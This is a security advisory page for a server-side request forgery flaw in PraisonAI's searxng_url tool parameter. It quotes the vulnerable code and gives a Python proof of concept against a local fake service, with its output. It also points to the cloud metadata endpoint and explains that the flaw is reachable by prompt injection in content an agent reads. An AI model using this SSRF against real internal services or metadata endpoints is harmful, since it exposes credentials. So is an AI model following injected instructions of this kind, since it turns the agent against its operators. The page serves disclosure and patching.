PraisonAI: Server-Side Request Forgery (SSRF) in SearxNG / search_web tools via attacker-controlled searxng_url parameter
A Server-Side Request Forgery (SSRF) vulnerability in the SearxNG / search_web search tools allows an attacker to make the server perform requests to arbitrary internal endpoints and read the responses back. The searxng_url argument is passed directly to requests.get() with no validation of scheme, host, or port. Because searxng_url is exposed to the LLM as a tool parameter and search_web / searxng_search are part of the default agent toolset, the vulnerability is reachable through prompt injection in any content an agent ingests (web pages, files, tool output). This enables reading internal services and APIs, internal host/port enumeration, and in cloud environments reachability of the instance metadata endpoint (169.254.169.254) with potential IAM/credential exposure.
The SearxNG search provider performs no validation on the searxng_url argument before issuing the HTTP request.
src/praisonai-agents/praisonaiagents/tools/searxng_tools.py (lines 16–47):
```python
def searxng_search(
query: str,
max_results: int = 5,
searxng_url: Optional[str] = None
) -> List[Dict]:
...
url = searxng_url or "http://localhost:32768/search" # line 42
params = {
'q': query,
'format': 'json',
...
}
response = requests.get(url, params=params, timeout=10) # line 45 — no validation
response.raise_for_status()
```
The same unvalidated pattern exists in the unified search_web dispatcher:
src/praisonai-agents/praisonaiagents/tools/web_search.py (lines 235–247):
```python
def _search_searxng(query: str, max_results: int = 5, searxng_url: Optional[str] = None):
...
url = searxng_url or os.environ.get("SEARXNG_URL", "http://localhost:32768/search") # line 239
...
response = requests.get(url, params=params, timeout=10) # line 247, no validation
```
searxng_url is accepted as a parameter on the public search_web() entry point (web_search.py, line 277) and is forwarded through to the request (web_search.py, line 357).
This parameter is attacker-controllable via the LLM:
searxng_url is a real function parameter (searxng_tools.py:19, web_search.py:277).self/*args/**kwargs are skipped (src/praisonai-agents/praisonaiagents/llm/llm.py:5968).search_web is part of the default tool profile (src/praisonai-agents/praisonaiagents/tools/profiles.py:68).Therefore an agent that ingests attacker-controlled content can be coerced into calling search_web(...) with an internal/attacker-chosen searxng_url, and the response body is parsed and returned into the agent's context.
The following reproduces the vulnerability against the real searxng_search() source. It spins up a fake internal service simulating an internal API/admin endpoint, then demonstrates that an attacker-controlled searxng_url causes the tool to fetch it and return the response to the caller.
```python
import importlib.util, threading, http.server, json, time
REPO = "/path/to/PraisonAI"
MOD_PATH = f"{REPO}/src/praisonai-agents/praisonaiagents/tools/searxng_tools.py"
# Load the REAL searxng_tools.py standalone (only needs requests)
spec = importlib.util.spec_from_file_location("searxng_tools", MOD_PATH)
m = importlib.util.module_from_spec(spec)
spec.loader.exec_module(m)
# Fake "internal service" (e.g. internal API / admin panel / metadata)
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
body = json.dumps({"results": [
{"title": "INTERNAL_SECRET", "url": self.path,
"content": "SSRF_TEST-12345 path=" + self.path}
]}).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *a):
pass
http.server.ThreadingHTTPServer.allow_reuse_address = True
srv = http.server.ThreadingHTTPServer(("127.0.0.1", 19998), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
time.sleep(0.4)
# Attacker points the tool at an internal endpoint the tool should never reach:
res = m.searxng_search(
"anything",
max_results=3,
searxng_url="http://127.0.0.1:19998/admin/secrets",
)
print(res)
srv.shutdown()
```
Observed output (confirmed by the reviewer):
```json
[
{
"title": "INTERNAL_SECRET",
"url": "/admin/secrets?q=anything&format=json&engines=google%2Cbing%2Cduckduckgo&safesearch=1",
"snippet": "SSRF_TEST-12345 path=/admin/secrets?q=anything&format=json&engines=google%2Cbing%2Cduckduckgo&safesearch=1"
}
]
```
The internal service's response body (INTERNAL_SECRET / SSRF_TEST-12345) is returned to the caller, confirming that re
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity low, availability low.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L
CVE-2026-57143 is classified as CWE-20: Improper Input Validation. The application accepts input without checking that it has the expected form, so malformed values reach code that assumes they are well formed.
CVE-2026-57143 is recorded against 1 package.
Published on 23 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
github.com (Web)
github.com (Package)
pypi.org (Package)
github.com (Advisory)
nvd.nist.gov (Advisory)
praisonaiagents has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-20: Improper Input Validation) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| praisonaiagents | — | 1.6.61 |
References
Similar Threats
Site Security Check
CVE-2026-57143 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.